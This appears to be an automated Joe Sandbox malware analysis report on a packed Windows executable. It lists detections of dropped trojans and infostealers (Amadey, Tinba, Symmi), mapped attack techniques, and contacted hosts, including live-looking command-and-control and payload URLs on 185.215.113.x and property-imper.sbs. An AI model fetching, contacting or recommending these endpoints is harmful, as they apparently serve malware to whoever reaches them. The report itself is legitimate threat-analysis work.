Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
2fQ8fpTWAP.exe	58%	ReversingLabs	Win32.Packed.Themida
2fQ8fpTWAP.exe	100%	Avira	TR/Crypt.TPM.Gen
2fQ8fpTWAP.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	42%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008516001\e2af9f55fd.exe	42%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1008517001\d146970153.exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1008518001\44452951d3.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	58%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label
https://property-imper.sbs/api1Q	0%	Avira URL Cloud	safe
https://property-imper.sbs/apirsionA	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php:Py)	100%	Avira URL Cloud	malware
https://property-imper.sbs/api97hbPq.	0%	Avira URL Cloud	safe
https://property-imper.sbs/apio	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php/l	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeP	0%	Avira URL Cloud	safe
https://property-imper.sbs/apite	0%	Avira URL Cloud	safe
https://property-imper.sbs/api60882-	0%	Avira URL Cloud	safe
https://property-imper.sbs/apis	0%	Avira URL Cloud	safe
https://property-imper.sbs/G	0%	Avira URL Cloud	safe
https://property-imper.s	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
property-imper.sbs	172.67.162.84	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
www.google.com	142.250.181.68	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.78	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
https://property-imper.sbs/api	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000019.00000002.2550341180.000002729614F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/api1Q	f20b4c0961.exe, 0000000B.00000003.2545220716.0000000000721000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2496347730.0000000000721000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabledcd09ae95-e2cf-4b8b-8929-79	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.leboncoin.fr/	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	e2af9f55fd.exe, 0000000A.00000002.2254292302.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000019.00000003.2407614644.000002729B6D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000019.00000002.2478820802.000002729133C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com	firefox.exe, 00000019.00000002.2509125101.00000272943E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://completion.amazon.com/search/complete?q=	firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php:Py)	e2af9f55fd.exe, 0000000A.00000002.2254292302.0000000001302000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000019.00000002.2516262256.000002729480A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2516262256.0000027294810000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 00000019.00000003.2396489947.000002729B352000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2408822675.000002729B352000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000019.00000002.2489207640.000002729307E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 00000019.00000002.2478820802.0000027291394000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com	firefox.exe, 00000019.00000002.2539916257.00000272952DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2580378242.0000038C3EC4D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/bucketConfig/properties/namespace	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariationhttp://mozilla.org/#/properties	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apirsionA	f20b4c0961.exe, 00000009.00000003.2245740133.0000000001181000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2240820571.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 00000019.00000003.2334698150.0000027292B57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2479828969.0000027292470000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2334402547.0000027292B3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2334950209.0000027292B73000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2393247432.0000027293B7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/sets	firefox.exe, 00000019.00000002.2458618765.000002728E78A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtube.com/	firefox.exe, 00000019.00000002.2562253478.000002729B0A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2553999746.00000272963DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2535380451.0000027294E89000.00000004.00000800.00020000.00000000.sdmp	false		high
https://content-signature-2.cdn.mozilla.net/	firefox.exe, 00000019.00000002.2561348786.000002729AF60000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.instagram.com/	firefox.exe, 00000019.00000002.2479828969.0000027292470000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 00000019.00000002.2458618765.000002728E78A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/	firefox.exe, 00000019.00000002.2482727507.0000027292903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fpn.firefox.com	firefox.exe, 00000019.00000002.2469501678.000002728FEFA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2583142865.0000276436404000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/api60882-	f20b4c0961.exe, 0000000B.00000003.2401085437.00000000053E5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	firefox.exe, 00000019.00000002.2458618765.000002728E7AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	f20b4c0961.exe, 00000009.00000003.2164246966.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2164154796.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2323732828.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2324028280.0000000005416000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2322878077.0000000005419000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apite	f20b4c0961.exe, 00000009.00000003.2240820571.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://MD8.mozilla.org/1/m	firefox.exe, 00000019.00000002.2489207640.0000027293091000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000019.00000003.2407614644.000002729B658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:	firefox.exe, 00000019.00000002.2482727507.000002729294C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561348786.000002729AF47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000019.00000002.2482727507.00000272929D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://amazon.com	firefox.exe, 00000019.00000002.2581974745.00001B65AB404000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/api97hbPq.	f20b4c0961.exe, 00000009.00000003.2349296434.000000000118C000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2272672432.000000000118A000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2272465396.0000000001185000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.com/recommendationsDevice	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000019.00000002.2528820121.0000027294996000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2516262256.0000027294810000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com/	firefox.exe, 00000019.00000002.2509125101.00000272943E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	firefox.exe, 00000019.00000002.2458618765.000002728E7AD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	f20b4c0961.exe, f20b4c0961.exe, 0000000B.00000002.2763484000.000000000068E000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000002.2763484000.00000000006AA000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2687794074.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000019.00000003.2407614644.000002729B6D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2562253478.000002729B02E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2579254717.000002729D203000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 00000019.00000002.2581974745.00001B65AB404000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000019.00000002.2491386104.0000027293127000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThresholdhttp://mozilla.org/#/propert	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.inbox.lv/compose?to=%shttp://poczta.interia.pl/mh/?mailto=%sextractScheme/fixupChangedP	firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/l	e2af9f55fd.exe, 0000000A.00000002.2254292302.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000019.00000003.2396489947.000002729B352000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2408822675.000002729B352000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/bestMatchBlockingEnabled	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/outcomes/items/properties/priority	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
http://a9.com/-/spec/opensearch/1.0/	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2390907395.000002729486A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 00000019.00000002.2581974745.00001B65AB404000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apio	f20b4c0961.exe, 00000009.00000003.2418853686.00000000011A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemsmoz-extension://d459	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.tsn.ca	firefox.exe, 00000019.00000002.2580378242.0000038C3EC4D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/MPL/2.0/.	firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2502645913.0000027293F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2563092645.000002729B1D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2400926046.000002729B17A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2478820802.00000272913B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.openh264.org/	firefox.exe, 00000019.00000002.2459836507.000002728E8DF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://youtube.com/	firefox.exe, 00000019.00000002.2492921640.00000272932BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/	firefox.exe, 00000019.00000002.2473379671.0000027290103000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 00000019.00000002.2482727507.00000272929E5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2563092645.000002729B1A7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2563092645.000002729B1A7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://a9.com/-/spec/opensearch/1.1/	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2390907395.000002729486A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2019-09/schema	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2390907395.000002729486A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeP	f20b4c0961.exe, 0000000B.00000002.2763484000.00000000006AA000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2687794074.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apis	f20b4c0961.exe, 00000009.00000003.2241194022.0000000001191000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2240974672.0000000001190000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2240820571.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://profiler.firefox.com	firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/default.aspx?rru=compose&to=%s	firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2336750459.0000027292733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481024204.0000027292728000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	f20b4c0961.exe, 0000000B.00000003.2404404803.00000000054FF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/G	f20b4c0961.exe, 00000009.00000003.2272289947.00000000011A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/merinoEnabled	firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000019.00000002.2550341180.0000027296166000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2336750459.0000027292733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481024204.0000027292728000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.s	f20b4c0961.exe, 00000009.00000003.2240820571.00000000011A3000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2245857584.00000000011A6000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2240996818.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
172.67.162.84	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.8
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561598
Start date and time:	2024-11-23 21:13:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	58
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	2fQ8fpTWAP.exe renamed because original name is a hash value
